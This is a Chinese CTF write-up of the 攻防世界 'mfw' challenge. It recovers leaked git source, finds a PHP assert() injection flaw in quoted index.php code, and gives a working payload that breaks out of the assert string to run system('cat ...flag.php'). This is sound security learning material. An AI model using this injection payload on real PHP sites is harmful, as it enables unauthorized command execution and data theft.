攻防世界 mfw

mfw

进入到环境搜集到两个信息

 

可能存在git泄露,flag就在flag中

 

 测试了以下确实存在git泄露那我们使用githack还原

 

 简单看了一下代码在templates目录下发现了flag.php,在index.php中发现关键代码

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

这里发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,我们想利用assert()函数执行cat ./templates/flag.php获得flag,那么肯定要破坏原来的assert结构才能,使得我们目标才能达成

assert("strpos('$file', '..') === false")
assert("file_exists('$file')")

那么我们构造如下payload

?page=') or system('cat ./templates/flag.php');//

传入后就变成

$file="templates/') or system('cat ./templates/flag.php');//.php"

替换

assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

真正运行

strpos('template/') or system('cat ./template/flag.php'); #由于strpos函数报错,因此运行我们构造的语句or后面的语句

查看源码发现flag

 

posted @ 2022-04-21 21:49  听梦外雪花飞  阅读(214)  评论(0编辑  收藏  举报